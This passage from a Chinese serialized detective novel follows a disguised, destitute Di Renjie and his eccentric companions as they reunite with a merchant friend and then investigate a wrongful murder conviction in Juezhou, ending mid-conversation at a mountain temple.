几人中有几个抬头一望,只见他浓眉大眼,高鼻阔面,头缠裹巾,满腮须髯,相貌不似中原人士之状。乍看之下,竟也难辨年龄,或有四五十来岁。他叹了口气,说声“可怜”,嗓音浑厚。其所披外衣乃浅色丝质长袍,内里穿着棉布衬衫,脚下踏着羊皮高靴,肩上搭着牛皮褡裢。总之还是神情大气,因而整体望去颇具威严,更兼穿着富丽,亦非常人所能及。尤其是此刻站在几个衣衫褴褛、穷困潦倒的乞丐面前,更是显得天上地下之别。 狄仁杰这时都快昏了过去,只微微抬起头,与他眼神相视。 二人先是对望了一忽儿,猛然间,竟互吃一大惊。 那人惊道:“你……你是怀英兄?” 狄仁杰亦是难以置信,道:“你是巴兄弟?” 那人一听,立时笑道:“是我呀,我是巴兰姆。” 狄仁杰一听,立时湿了眼眶,苦笑着哽咽道:“你真的是巴兄弟。” 巴兰姆也含泪强笑道:“怀英兄,二十多年啦,没想到……” 狄仁杰忙向几人介绍道:“这位是来自西域的商人,巴兰姆。我们二十多年前就认识了。” 几人点了点头。 胡乐道:“这位大哥,看你蛮有钱的。你既跟咱老爷认识,那就给咱买点儿吃的呗,俺们都快要饿死了……”说话有气无力,既小声又含糊不清。 然巴兰姆还是听清了,忙道:“唉呀,对,先吃过饭再说。”说着,并不嫌脏,忙扶着几人起来了。 狄仁杰见到了老友,自是大喜过望。 其余几人只是想到马上就有饭可吃了,竟不知从哪里得来了一股力气,都飞也似的奔走起来。 一时来至路旁一个小馄饨店,一齐入内,闻得菜香扑鼻,都不觉笑逐颜开。 店里很小,没有人,就两三个桌子。 卖馄饨的从后边儿出来,见店里突然挤满了人,竟是好多乞丐,倒唬了一跳。 正要骂人,又见他们人多不 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狄仁杰叹道:“唉,那是好久以前的事了,不过跟这回不太一样。那次,也是出来办案,为了追踪歹徒,所以才化装成了乞丐,并不是真的。当时,巴兄也是恰巧路过,把我当作了真乞丐,要给我点钱,我们也就这么就认识了……”说得有气无力的,几乎都快要晕了过去。 巴兰姆忙道:“不说了,不说了,先吃饭。” 一时那卖馄饨的陆续端来了十几碗热腾腾的馄饨,还有几盘炸春卷,筷子勺子蘸酱俱全。 他笑问:“你们还想吃啥?” 巴兰姆道:“啊,多谢,先这样吧。” 那卖馄饨的遂自往后头去了,一面暗喜:“今晚可赚大了。” 巴兰姆见几人只是呆看着桌上的菜,却并不吃,因诧异道:“你们……怎么都不吃啊?” 原来几人这时都已经饿过头了,不但不感到饿,而且胸口还恶心得想吐。 胡乐呆了呆,突然瞪眼惊道:“这……是饭!” 一想到自己正在饿着肚子,便猛地抓过了一碗热馄饨来,却因手上无力,不觉手一抖,碗一歪,倒了自己一身的热汤,烫得大声惨叫了起来。 紧接着便是那装了烫伤他的热馄饨的瓷碗和里面的勺子脱手而出摔在了地上所发出的碎裂之声夹杂着那卖馄饨的因恰好欢欢喜喜地从后面走出来时正眼看到了陪伴自己多年的宝贵碗勺竟然摔碎了的那一瞬间而感到心如刀割般难受所发出的痛惜的喊叫声尽都被淹没在了那狄仁杰几人因听见了而后又看见了胡乐好好的竟然突然就被烫伤了的场景与他因痛苦而发出的惨叫而猛然从自己短暂的发呆里面清醒了过来以后不由自主的紧急反应所发出来的惊叫声并交错着那鹃儿因被诸人包括自己所发出的惊叫吓了一大跳后所发出的神经质的尖叫声还有相连着那韩忠义因受到了这一系列突如其来的猛烈刺激后所发出的癫狂般的狂叫声而同时又霍地跳了起身在自己不可抑制的暴怒之中双手狠命将木桌一掀而引起的腾空打转翻着筋斗又一面狠甩那十几碗热馄饨滚烫的汤水和包着那猪肉白菜馅的小馄饨还有那几盘摆着好几双筷子的酥脆炸春卷并用来蘸春卷的那几碟混着辣子和蒜泥的黏黏的酸甜酱飞得几人因满身皆是食物触到了肌肤所带来的烫伤所发出的惊天动地的哭叫声而未停歇时便同时混合着那被掀翻了的木桌砸在了另一个木桌之上砸碎了其上另外几碗菜的碎碗之声而又顺带擦烂了几个木椅所引起的木屑四溅在一片慌乱中的人们所发出的嘈杂声中几不可闻的微小响动自然而然地被掩盖在了磨破了几个还来不及回避的人薄弱的头皮之上时所迸裂出来的一丝丝鲜血的叫痛声中的同时又任凭着几张桌椅一块儿撞到了那同是木制的柜台上所发出的轰隆隆的巨响和卖馄饨的因来不及回避而被一堆木头所制之物撞着了之后直滚到了那诸多物体之上而又顺势摔了下去继续翻滚一面绊倒了几个站立不稳之人使他们与自己一同在满地的汤水黏酱跟碾碎了的馄饨与春卷之中体会着那令人天旋地转一般难受的动作所发出的一连声的不明所以的荒诞之声一直延伸到了后来那莫名其妙而又难以形容的类似痛楚的呻吟或是绝望的喧嚷的细无声。 胡乐喘着粗气,仰天骂道:“他妈的。” 巴兰姆唉声叹气,跟着他们躺在地上,见他们有的哭,有的笑,有的吵,有的闹,还有的像狗一样舔着地上的东西吃,忙叫:“哎呀,别吃,别吃!脏得很!” 卖馄饨的哭叫:“我的店哪!” 巴兰姆道:“你别哭!来,我赔你钱!”又拿出一锭银子给他。 卖馄饨的接了,笑问:“吃点啥?” 巴兰姆叹了口气,道:“再来几碗馄饨吧。” 一时又上了馄饨,几人便坐在地上吃了,说不出的香甜可口。 狄仁杰摇头歉然道:“巴兄啊,连累你啦。” 巴兰姆道:“无妨。” 狄仁杰道:“你也吃点吧。” 巴兰姆道:“你们吃,我不饿。” 狄仁杰道:“唉,害得你衣服也脏了。” 巴兰姆道:“没关系,这不过是外面脏了。只要心里面干净就好了。” 韩忠义正猛吃着馄饨,一听这话,立时抬起头来点头大叫:“好!说得好!” 洪辉道:“这位巴大哥也是位好人哪。” 狄仁杰道:“巴兄是个好人哪。” 巴兰姆摇摇手道:“生而为人,本应善良。这并不是什么可夸的,而是每一个人在世上的责任。” 狄仁杰微笑点头道:“说得是啊。” 又问他:“巴兄此次,可是回西域去?” 巴兰姆道:“哦,不。我此次,是去边关。” 这话一出,狄仁杰几人都一齐惊道:“你也是去边关?” 巴兰姆点头道:“是啊。怎么,难道,你们也是吗?” 几人相互一看,点头道:“是啊!” 巴兰姆立时明白了,笑道:“哦,原来我们是一路人哪。” 胡乐正嚼着从地上捡的春卷,道:“要不是一路,咱能遇着?” 巴兰姆哈哈笑道:“怀英兄,你此去,我可猜着原因了。” 狄仁杰自嘲地一笑,道:“跟上回一样,只不过,这回做乞丐,呵呵,嗯,是真的。” 巴兰姆叹道:“唉,真不容易啊。从宰相到乞丐,中间就隔着个边关之路。” 胡乐递春卷道:“老爷,吃。多动嘴,少说话。” 狄仁杰接了就要吃,韩忠义忙伸手道:“大人,给我。” 狄仁杰笑道:“你吃吧。” 韩忠义只拿过来掸了掸,吹了吹,又递给了狄仁杰。 狄仁杰没有接,眼眶却湿了。 韩忠义笑道:“大人,好吃。” 狄仁杰轻轻摇了摇头,哽咽道:“你吃吧。” 韩忠义笑着点头,吃了起来。 狄仁杰叹了口气,又将几人逐一介绍与巴兰姆。 巴兰姆跟他们每一个人打了招呼,见他们有的疯,有的傻,有的呆,有的懵,似乎没一个正常人,心中愈感难过。 狄仁杰也明白,跟他一齐叹气。又问巴兰姆道:“你此去边关,又是为何啊?” 巴兰姆一听,眼里登时放光,望向店门外那漆黑的夜空,直言不讳说道:“目今大周边陲战事频仍,诸国联合起来一同犯境。为了要割据城池,势必要发动战争。可那兵戈所到之处,人民倒悬,生灵涂炭,不知又有多少宝贵的性命要就此湮灭。”叹了口气,又道:“我此去,便是要到吐蕃国去,见那里的驸马爷。我与他是旧相识,他会接见我的。我要求他,给我一次机会,陛见国王,劝阻吐蕃与大周两国的战争。只要吐蕃国一罢兵,其周遭参战的诸小国定将自行休战。到那时,只剩下了突厥一个,又失去了友军外援,势单力薄,自是不能再与大周抗衡,因而不久亦将退兵。这般,大周与诸国的人民,还有那边关的上万士兵,他们便都不会遭殃。我若能尽得一丝微薄之力,并且起到那么一点效用,那么这许多生命便可以好好地活着,不用跟他们的家人分离,不用再互相伤害,都可以相亲相爱,一起拥抱着这世间的和平。这将是何等美好的事啊!这便是,我此去边关的缘故。”说着擦了擦泪。 狄仁杰、韩忠义、洪辉几人皆为其大志而感动落泪。 狄仁杰哭着向他跪下,巴兰姆连忙搀扶道:“怀英兄,这是为何?快快起来!” 狄仁杰流泪道:“巴兄能够为了天下苍生行此天大的义举,狄某……代他们多谢你啦……” 巴兰姆也流泪道:“我一直就不明白,都是人,又为什么要分什么彼此?都是造物主美好的创造,又有什么本质的不同?我此次并不属于任何一方,也并没有人派遣我来。就算有……那也是我的良心吧。我只是站在了爱与和平这一边。但愿世间……能够永远不再有仇恨。” 韩忠义听了大叫道:“好!太好啦!‘天将降大任于斯人也,必先苦其心智,劳其筋骨,饿其体服,空乏其身!’”说着又猛吃起馄饨来。 鹃儿神经质地笑着拍手叫道:“相亲相爱,相亲相爱!” 胡乐摇头晃脑叫道:“一路受苦,一路受苦!” 洪辉叫道:“我洪辉能跟着你们做大事,实在是太好了!” 狄宁、马肃也道:“好。” 梅四儿心道:“好个屁。” 那卖馄饨的虽然损失了几张桌椅,打烂了一点地板和柜台,可毕竟还是赚了两锭银子,足以补偿这些了。遂开心的不得了,又给几人连着上了有十几碗馄饨。 几人一时吃罢,竟因吃得太撑了而难受。 胡乐呻吟道:“唉呀,没想到啊……这……吃饱了撑也难受啊……” 洪辉也呻吟道:“唉呀,我也吃太多了,肚子有点痛。” 狄宁道:“饿也难受,撑也难受。” 韩忠义大叫:“人生何处不难受!” 鹃儿笑道:“好吃,好吃。” 巴兰姆叹道:“你们太可怜了。” 胡乐道:“你要是跟着咱一块儿走,你也会可怜的。” 巴兰姆笑道:“无妨。” 狄仁杰站起身,说道:“时间不多了。” 巴兰姆也起身道:“是啊,每多待一刻,便会有更多的生命在失散。” 都站了起来。 狄仁杰道:“巴兄,你跟着我们一起走吧。” 巴兰姆道:“这是自然的。” 胡乐笑道:“有了你,至少咱不会饿肚子了。” 几人都笑着点头。 巴兰姆哈哈笑道:“没问题!” 都一齐出了店门。 夜风凉飕飕的,几人站在空荡荡的街上呆了呆,忽见天上挂着一轮明月。 巴兰姆道:“怀英兄,我记得,你从前经常赋诗。你看今晚这月色甚好啊,何不即景来一首?” 狄仁杰摇头道:“早都忘啦。” 可望着那月光,竟不由得感慨万千。 遂口占一五言律云: 边陲路漫漫,万里风沙卷。 残烛影阑珊,明月照深浅。 天意本循环,人力岂能挽。 蹄踏山河遥,迢递送绵延。 44. 第四十四章 因果 接下来的日子,一行九人继续朝着前方赶路。 巴兰姆想给狄仁杰几人买几件“像样”的衣服穿,狄仁杰想着如今这副模样倒更惹人注目,且几人包括自己都难受得紧,便也没拒绝。 几人遂到店里买了几件普通的便服。 狄仁杰更是挑选了半日,给鹃儿买了一件她喜欢的衣裳。 几人又洗濯了一番,再各自穿上新服,方才“像样”了。 自从有了巴兰姆以后,几人钱是不愁了,行路便也顺当得多。 晓行夜宿,饥餐渴饮,一路无话。 这日来到了觉州,见人烟稠密。 几人到一茶馆来歇息,要了几盘糕点、几碗茶。 正吃着,只听得旁边桌上有几人谈道: “欸,你们听说了没有啊?那张家太太被判死刑了。” “唉,就明儿午时三刻,就要被斩喽。” “她也是该的,毕竟谋杀亲夫,也算是罪大恶极了。” “哼,唉,老娘们儿一个了,还谋杀亲夫呢你说。” “这有什么好大惊小怪的,那张老爷万贯家私,又没有孩子,他一死,那财产自然是归了他老婆。” “你觉得她是为了拿到钱?” “这还用说嘛,谁都看得出来。” “现在这事儿啊,全城的人都知道了,已经不是啥秘密了。” “太他妈的不要脸了,一个老娼妇,捅了自己老公十几刀。” “你怎么知道她是‘老娼妇’?莫非你跟她……呵呵呵……” 几人都大笑了起来。 狄仁杰几人听了,都不由得摇头感叹“世风日下”。 听那几人又道: “欸,那有没有可能不是她杀的呢?” 都笑了起来:“你以为你是狄仁杰呢!还想破案呢!” “就是她杀的。” “那管家不都亲眼瞧见了嘛,张老爷浑身血淋淋的躺在椅子上,屋门还是反锁的呢,里面只有那张太太一个人。” “门还是反锁的,那那管家咋看见的?” “他妈的不开门儿就看不见啦!他是先从外边儿瞧见了,然后就偷偷地报官去了。后来衙门里的人一来,那老娼妇杀人的场景就谁都看见了!” “就是她,就是她!她不一见到人来,立刻就说:‘人是我杀的!’嘿,好像别人不知道呢!” “可杀人凶器呢?” “刀呗!” “可官府不都没找到么?” “他妈的,官府找没找到关咱屁事儿啊!来来来,喝茶!” “就是,只顾谈别人的事干吗,这世上哪一天不死一两个人。” “哎死死死,死光光也跟咱没关!” 狄仁杰道:“此案有蹊跷。” 马肃道:“狄公,有问题吗?” 狄仁杰道:“我也不知道,但感觉好像哪里有点不对劲……” 巴兰姆笑道:“既然怀英兄这么说,那肯定不会错的。” 狄仁杰摇手笑道:“我也是人哪,是人就会错呀。”又道:“只是,明日就问斩,别是有冤情……” 韩忠义突然拍案大叫:“有冤情!” 桌上的糕点掉得满地都是,还摔碎了几个茶碗。 鹃儿被他一吓,尖声大叫了起来。 唬得茶馆里人一口热茶直喷了出来。 韩忠义、鹃儿两个又要叫,几人忙捂住他们的嘴,向众人道歉,多付了点钱,一齐出了茶馆。 茶馆里人叹道:“听说有八个乞丐是疯子,没想到九个不是乞丐的也是疯子。呵,这世道!” 却说狄仁杰几人问路来到了那被杀的张老爷府上,只见大门口有僧人出入。 几人也想跟着进去,却被门子拦住道:“欸欸欸,干吗的?” 胡乐合十道:“阿弥陀佛,做法事的。” 门子道:“你这模样是和尚?” 胡乐怒道:“我们都是和尚,你满意了吧!” 门子惊异地打量了几人一番,道:“你们都是和尚?” 胡乐道:“是又咋地?” 门子道:“和尚留头发?” 胡乐道:“佛在心里,不在头上。” 门子一见鹃儿道:“还有女和尚?” 鹃儿笑道:“是尼姑,尼姑!” 门子见他们男女老少、高矮肥瘦俱有,还有个不像汉人的,直愣了半晌,问道:“你们几个……哪儿来的?” 胡乐道:“西天大雷音寺来的。” 门子道:“哟,从天竺国来的?” 胡乐道:“你管我们从哪儿来的,快让我们进去!” 门子拦住道:“不行,不行,我看你们这样儿不像和尚。” 胡乐道:“他妈的!和尚还有什么‘样儿’啊!” 门子道:“我告诉你们,这里面的僧人都是从前面山上雷隐寺来的,不是从天竺国来的!” 胡乐道:“都他妈的叫雷音寺嘛。” 门子道:“不是雷音寺,是雷隐寺!” 狄仁杰向他作揖道:“这位小兄弟,我们因跟张老爷认识,突然得知了他的故世……” 门子道:“张老爷都死去几天了,你们怎么这才知道?” 洪辉道:“我们今天刚来。” 门子道:“那就更怪了!你们刚来就认识张老爷了?” 巴兰姆忙掏出钱来,笑递他道:“请你方便方便。” 门子看了一眼,摇头道:“嗯不行,我不能这么做。” 巴兰姆又拿出点钱来,门子忙摇手道:“你别这样,给人看见了我倒霉。这不是钱的事儿,我这是执行公务。” 洪辉道:“欸你就通融通融,我们就只进去看一眼。” 门子道:“这张府如今是作案现场,不让进。” 胡乐道:“那和尚为什么能进?” 门子道:“他们是来做法事的。” 胡乐道:“我们也是!” 门子道:“不一样。” 胡乐叫道:“怎么不一样了!你不相信我们是和尚啊!” 门子求道:“唉呀你们就饶了我吧!我要是放了外人进来,我就不用吃这碗饭了!” 胡乐道:“我们不是外人,是内人。” 门子只是摇手。 狄仁杰道:“我们想探查张老爷死去的真相。” 门子道:“张老爷是被他太太给杀的,这全城的人都知道,还查什么查呀?你们几个刚来,不知道吧?” 狄仁杰道:“或许另有别情。” 门子道:“那也应该由官府来查呀。” 洪辉道:“那么官府查了吗?” 门子道:“查了呀,不都很明白了吗?” 洪辉道:“明白什么了?” 门子道:“凶手不就是张太太嘛。” 洪辉道:“那作案动机呢?” 门子道:“钱呀。” 洪辉冷笑一声道:“为了钱,就可以杀人吗?” 门子摇手道:“这我不知道,人又不是我杀的……” 洪辉道:“如果钱真的那么重要,可以换来一切,那我们适才给你钱,你又为什么不收?” 门子道:“我……” 洪辉道:“因为你怕收了以后,会丢掉饭碗。虽然你之所以想保住饭碗仍是为了钱,可是难道钱只是你唯一的目的吗?” 门子道:“我……我赚钱当然,是为了养活我家人。” 洪辉点头道:“嗯。这就是背后的真相被表面的假象所掩盖,而我们看到的也只是局部,并不是整体。我们因此只知道张老爷很有钱,又没有子嗣,所以自然而然地想到了张太太,如果张老爷确是为她所杀,那她一定是为了钱。可钱或许只是表面的假象,却蒙蔽了我们所有人的眼睛。因为我们也只看到了张老爷‘有钱’的一面,而没有看到整个谋杀案背后其实还存在着更多的可能性。而官府本身也是由人组成的,是人自然就会犯错,又怎知他们所看到的便是真相?” 这一番话说出,不但门子吃惊,连狄仁杰几人也吃了一惊。 胡乐道:“呀,兄弟,你脑子怎么突然好使了?” 洪辉搔头笑道:“我都是平日跟着先生学的,随便乱说的。” 门子道:“小伙子,听说过当朝宰相狄阁老没有?” 洪辉笑道:“什么听说过,不就是先生嘛。” 门子道:“听说他老人家断案也是非常厉害的。我看你挺有天赋,你应该找他去学学。” 洪辉道:“我就是跟他学的。” 门子道:“哦?你跟狄阁老学过?你见过他?” 几人都笑了起来。 狄仁杰心想此刻亮出身份也无妨,便微微点了点头。 洪辉见他点头,便道:“你面前的不是?” 门子大吃一惊,指着狄仁杰道:“你是说……他……” 狄仁杰点头道:“我就是狄仁杰。” 门子呆了呆,倒真似哪里见过的……不错,就是他!就要跪下,狄仁杰忙扶起道:“不敢。” 门子又悄声问:“你……你真的就是狄阁老?” 狄仁杰点头笑道:“是我,是我。” 门子笑道:“果然名师出高徒,久仰,久仰。” 狄仁杰又作揖道:“还望保守秘密。” 门子忙道:“不敢,不敢,这自然的。” 狄仁杰问他姓名。 门子笑道:“俗得很,阁老休要取笑。我跟这里老爷一个姓,都姓张,排行老三。” 狄仁杰道:“张三,张老爷这个案子,恐怕没那么简单。不知可否,容我们进去查查?” 张三道:“那好吧,既是阁老查案,那我就破个例,让你们进去。只是……你们人太多了……” 狄仁杰道:“我们不会全进的。” 张三点点头,又嗫嚅道:“你们……不要说是我放你们进去的……” 狄仁杰道:“这个自然。” 又要给他钱,他就是不肯收,遂也罢了。 巴兰姆道:“进去的人还是越少越好。” 狄仁杰道:“巴兄,你来不来?” 巴兰姆道:“我在外边守着吧。” 从前这种时候,狄仁杰只需带上韩忠义一人也就够了,可这时韩忠义已然癫狂,自然是带不得了。 狄仁杰遂带了洪辉、狄宁二人。 胡乐又死活闹着要进去。 韩忠义哈哈大笑,大叫:“姓胡的一进去,倒血霉!” 几人忙捂住他口。 胡乐气得跺脚道:“我又不捣乱啦!” 张三告诉他们道:“阁老,你们一进门,便是前院,走到头,沿着正堂一直往右拐,见到一扇门贴着封条,那便是张老爷被杀现场了。只是门上应该也上锁了,不好进去。” 马肃道:“狄公,不如让我跟着进去。我可以用内力打开门锁。” 狄仁杰道:“好,你跟着来吧。” 又道:“胡乐,你还是留下吧。你又帮不上忙。” 几人也都劝了一番,胡乐只好留下了,嘴里兀自咕咕哝哝。 张三道:“现在府里除了来做法事的僧人,应该没别人了。自从张老爷死后,他的家属仆人也都各奔东西了。不过你们还是小心为妙。最好快一些,衙门里经常派人来查,别给堵在里面了。” 狄仁杰道:“多谢提醒。” 四人遂一齐进府。 只听得四周传来僧人们敲打木鱼诵读经书之声,正堂里正做着水陆道场。 见几个和尚走了出来,四人忙躲在了桑树后面。 待他们走远了,四人便沿着墙壁一直往右拐。 穿过了回廊,来到了那扇贴着封条上了锁的门前。 马肃微一使劲,那锁便开了。 四人忙入内,关上了门。 只闻得一股血腥气扑鼻而来。 马肃道:“看样子现场没怎么动过。” 狄宁指道:“就是这儿了。” 只见桌旁靠门的椅子上沾满了早已干透的血迹。 洪辉道:“那个张老爷难道就是坐在这里被杀的?” 狄仁杰道:“他会坐在这里被杀,说明他并未提防那杀他之人。或者说,他没有想到,那杀他之人竟会杀他。” 洪辉道:“那如果这么看了话,张太太作案的可能性还是很大的?” 狄宁道:“张老爷肯定不会去提防他太太,所以他太太才有可能突然下手。” 马肃道:“狄公,会不会我们一开始就想多了?此案根本就没有什么冤情,就是那张太太下的毒手。” 狄仁杰道:“小辉啊,你刚才说的,那‘背后的真相’,还有那‘表面的假象’,你还记不记得?” 洪辉道:“先生,你是说……” 狄仁杰道:“当任何人都能从表面看出来时,那或许就是假象。而谁也看不见的,或者是,谁都不愿意去面对的,那才是事实的真相。” 看着靠内的帘子道:“有没有另一种可能性?” 另外三人一惊,明白了什么,齐望向帘子。 洪辉低声道:“先生,帘子后面,莫非有人?” 狄仁杰道:“现在肯定是没人,可当时呢?” 洪辉道:“当时?” 狄仁杰道:“就是作案之时。” 遂一齐来到帘子后面,看了半日,都道:“没东西啊。” 狄仁杰指道:“这里。” 只见有一小点血迹。 洪辉道:“这帘子后面怎么会有血迹呢?” 马肃道:“这要不细看,还真难瞧见。” 洪辉道:“官府这些人可真是他妈粗心大意。” 狄宁道:“原来当时有人就躲在帘子后面。” 洪辉道:“那……有没有可能是张太太弄的?” 狄仁杰道:“如果是张太太,她为什么要躲起来?” 洪辉道:“怕人看见哪。” 狄仁杰道:“那那个管家又为什么还是看见了她?” 洪辉道:“会不会是来不及躲?” 狄仁杰道:“那为什么又还是躲了呢?” 洪辉道:“是不是躲得晚了?” 狄仁杰道:“既都晚了,又为什么要躲起来?那管家报官的间隙里,她又为什么不逃走?” 洪辉道:“她忘了?” 狄仁杰道:“她不会忘了躲,却会忘了逃走?” 洪辉点了点头,道:“看来,张老爷被杀的时候,屋子里还藏着一个人,而那个人很有可能就是真凶。那他是怎么逃跑的?” 狄仁杰道:“那躲在帘子后面的人就在那目睹了惨剧的管家去报官的间隙里被放了出去。” 洪辉道:“被放了出去?” 狄仁杰点头。 洪辉道:“是被张太太放的?” 狄仁杰道:“不然房间里活着的二人在听到了那管家的脚步响后,为什么其中张太太并不声张,而是让凶手躲了起来呢?” 洪辉道:“先生又是怎么知道是张太太叫凶手躲的,而不是那凶手自己主动躲的?” 狄仁杰道:“也有可能是那凶手主动躲的,可张太太却是极其愿意的。否则她为什么会在衙门里的人到来之后,说‘人是我杀的’?人既不是她杀的,她又如此说,那她一定是想保护那个人。而如果她恨那个人,她就不会说出这种保护的话来了。” 洪辉道:“可如果她那句‘人是我杀的’是实话呢?” 狄仁杰道:“哪一个凶手不想掩盖自己的罪行?就算真是她杀的,她又急于说出自己的罪行,那也说明她并非为了钱财而行凶。” 洪辉道:“说明凶手杀害了张老爷,而身为太太的她还心甘情愿为凶手遮掩,甚至是牺牲自己来保护他,那……那这个人到底是谁呢?” 四人遂锁上了门,出了张府,将情况告知几人。 几人惊道:“还真有冤情!” 狄仁杰又多谢了张三,张三忙道:“阁老别那么客气,救人是好事,我也是愿意的。” 几人都问现在怎么办。 狄仁杰道:“只有在明日午时三刻之前破案,找到证据,抓到真凶,或许才能救得人。” 张三道:“阁老,到时需要什么帮忙,尽管找我。” 狄仁杰又道了声谢,说了声走。 几人不一时便来到了关押张太太的死囚牢,自是又被看守的拦住。然此次给了他们一锭银子后,他们便愿意放他们进去了。何也?只因如张三这般不受贿赂者,于世上是何其之少。钱尚可通神,何况几个看守的,岂有见了白花花的银子而不拿之理? 却也还有一个缘故:只因张太太杀夫一案已成定局,既无人敢管,也无人愿管,都恨不得赶紧撇清关系,离她越远越好,哪还有专门来探视监牢的? 那些看守的惊异地打量了几人一番,道:“只能进一个人,不能都进。” 几人都道:“多进一个怎么了?” 看守的骂道:“嘿,让你们进去已经是破例了,你们还想全进啊?看好去处儿,这是死囚牢!关押犯人的地方,不是你家!要进就只能进一个人,不然就滚蛋!再闹就把你们也给抓进去!” 狄仁杰道:“我去。” 遂跟着看守的一齐入内。 那牢里的气息自是熟悉,都不知坐过多少回了。 墙上虽点着油灯,可还是很暗。 穿过几个通道,下了石梯,听得后面几扇门关闭之声,来到了一小间牢房外,里面关押的便是张太太。 看守的在上边道:“快点儿哦!” 狄仁杰从外面看进去,只见稻草堆里坐着一个鬓发如银的老妇人。 她虽面色憔悴,然神态却是极安详的。 她闭着眼,虽然知道此刻有人就站在牢门外看着她,她却也没有睁开眼来看。 狄仁杰见她左手并没有拿任何东西,可那五根手指头却一直缓缓在动:大拇指一上一下,其余四根一左一右。 狄仁杰道:“念珠。” 张太太一听,突然睁开眼来,望向狄仁杰。 狄仁杰道:“你在想什么?” 张太太苍老的声音道:“你……你是谁?” 狄仁杰道:“我想救你。” 张太太道:“你为什么要救我?” 狄仁杰道:“因为我不能容许这世上有一桩冤情。” 张太太道:“什么冤情?” 狄仁杰道:“张老爷并不是你杀害的,你为什么要替真凶隐瞒?” 张太太忙叫:“不!是我杀的!” 狄仁杰道:“不,不是你。” 张太太流下泪来,摇头道:“是我杀的。” 狄仁杰道:“在你心中,那个真凶比你自己还要重要,对吗?” 张太太没有回答。 狄仁杰道:“可此刻你代他受罚,他又在哪呢?” 张太太道:“这是我愿意的,你不用管。” 狄仁杰道:“他,爱你吗?” 张太太道:“你说谁?” 狄仁杰道:“为你杀人的人。” 张太太道:“谁为我杀人了?” 狄仁杰看着她的左手道:“你手中一直转动的念珠,难道不是对他的思念吗?” 张太太又滴泪道:“你怎么都知道。” 狄仁杰听了,半晌道:“你愿意告诉我,他是谁吗?” 张太太摇头道:“我不会跟你说的。” 狄仁杰道:“雷隐寺?” 张太太一听,惊讶地望着他。 这时看守的催道:“好了,好了!快走了!” 狄仁杰最后看了她一眼,就要走,她突然叫道:“这位先生,我求你了,你不要去抓他!我只想他好好地活着……” 狄仁杰呆了呆,便出去了,将情况告知几人。 胡乐道:“老爷,你咋啥都知道啊?” 狄仁杰叹了口气,道:“其实我什么都不知道,只是猜测而已。我适才只是从她口中,证实了自己的猜测。” 一行人遂于傍晚时分来至雷隐寺山下。只见峭壁悬崖嶙峋,高山斜坡围绕。从楼梯上到了山门外,四周傍着青松翠柏,掩映着一块匾额。敲了敲门,有个小和尚迎了出来,见了几人,合十道:“几位施主,有何贵干?” 狄仁杰作揖道:“哦,小师父,我们是行路之人,因天色已晚,错过了宿头,故特来宝刹,欲借宿一宿,万望行个方便。” 小和尚道:“不敢,鄙寺倒是有几间空房,几位若是不嫌简陋,就进来吧。” 几人便跟着进来了。 只见山上楼台隐隐,殿阁重重,倒颇为壮丽。 问起来,这雷隐寺却是觉州城里最大的寺庙,也有百年历史了。 小和尚道:“贞观年间,玄奘法师取经归来,都曾在鄙寺讲经说法过。” 胡乐道:“有没有一位姓猪的长老陪着?” 小和尚道:“不曾耳闻。” 这时暮鼓响起,余晖斜照,一缕缕霞光倾洒下来。 几人上了山,穿过回廊,来至一间小禅房,小和尚献茶。 胡乐道:“你就住这儿啊?” 小和尚道:“此间如今只用来待客。” 狄仁杰见墙上挂着一幅用楷书写的诗,是一首五言绝句,云: 孤峰千里寒,远眺落夕阳。 独吾近天立,层层桂花香。 却并无标题,亦未署名。 因问:“这首诗,乃何人所作?” 小和尚答道:“这是几年前一个游方老僧来到鄙寺时作的。” 胡乐道:“你这庙里都没啥人儿啊。” 小和尚道:“他们都到城里做法事去了。” 狄仁杰道:“小师父,贵寺中年纪大的僧人,可多?” 小和尚道:“也不多,应该就数方丈最老了。当然还有几个烧饭做活的,都是寺里的老僧了。还有四五十岁的也有,现有几个就在张府上呢。不过大部分,好像……小僧平日只管待人接客的,也不太了解。” 狄仁杰道:“你们方丈……” 小和尚道:“哦,我们方丈法号慧真,已年过古稀,在本寺当住持也有四十余年了。” 狄仁杰道:“他平常出门吗?” 小和尚道:“经常会出啊,到城里人家去说法。” 狄仁杰道:“哦,那城里人,都认识他了?” 小和尚道:“城里人都知道方丈是个好人,所以要是见到他来,自然都会接待的。” 狄仁杰道:“那他有没有,去过那张老爷家?” 小和尚道:“好像其他许多人家都去过,就那张老爷的家从来不去。有一回张老爷还专门派人送了请帖来,要请方丈到他家里作客,方丈就是不肯去,还有些生气了。” 狄仁杰几人互看一眼。 小和尚道:“不过那位张太太倒是经常上山来还愿,好像前几日还来了一次……” 狄仁杰道:“前几日?” 小和尚道:“就在张老爷去世前不久。” 洪辉鼻子里哼了一声,道:“就是他了。” 韩忠义大叫:“冤情!” 鹃儿叫道:“冤冤冤!” 小和尚合十道:“善哉,善哉。” 胡乐也合十道:“上斋,上斋。” 小和尚道:“罪过,罪过。” 胡乐道:“嘴过,嘴过。” 小和尚道:“佛说五蕴皆空。” 胡乐道:“俺说肚里空空。” 小和尚道:“爱欲之人,犹如执炬,逆风而行,必有烧手之患。” 胡乐道:“爱芋之人,油卤餐具,你肚饿行,必有空空之饭。” 小和尚道:“施主,你此言有禅机。” 胡乐道:“死猪,你此盐有残疾。” 小和尚点头叹道:“既万般皆空,又何来烧手?” 胡乐道:“可肚里一空,照样得烧饭。” 小和尚道:“凡所有相,皆是虚妄。若见诸相非相,即见如来。” 胡乐道:“管它啥饭,只要它像,街上捡的也能当饭。你见猪肉拌饭非常像饭,你就他妈的拿来凉拌。” 小和尚摇头叹道:“一念之间,花开花落。缘起缘灭,尽属执着。” 胡乐摇头晃脑道:“一饭之间,肚子又饿。吃饱了喝足了,都是猪猡。” 小和尚道:“阿弥陀佛!” 胡乐道:“羊肉火锅!” 二人说话之际,狄仁杰几人已经商量好了,要去见那个慧真方丈。 小和尚便在前引路,领着几人行过了一条山道,来至一间厢房之前。 小和尚在门外道:“方丈,有几个人要见你。” 过了半晌,听得里面一个苍老的声音道:“我……我不见人……” 小和尚道:“方丈,他们是专门而来。” 那方丈道:“既是借宿的,便自便吧……” 狄仁杰道:“慧真方丈,我们想见见你。” 慧真颤道:“你……你是谁?” 狄仁杰道:“我叫狄仁杰。” 只听得里面“啊”的一声,道:“你……你是狄仁杰!”又厉声斥骂小和尚:“随缘!你个孽障!你做什么领进来!” 小和尚随缘道:“方丈,我……我孤陋寡闻,不知这位狄仁杰……是什么大人物?” 胡乐道:“咱老爷是当朝宰相狄阁老!” 随缘道:“宰相?什么是宰相?” 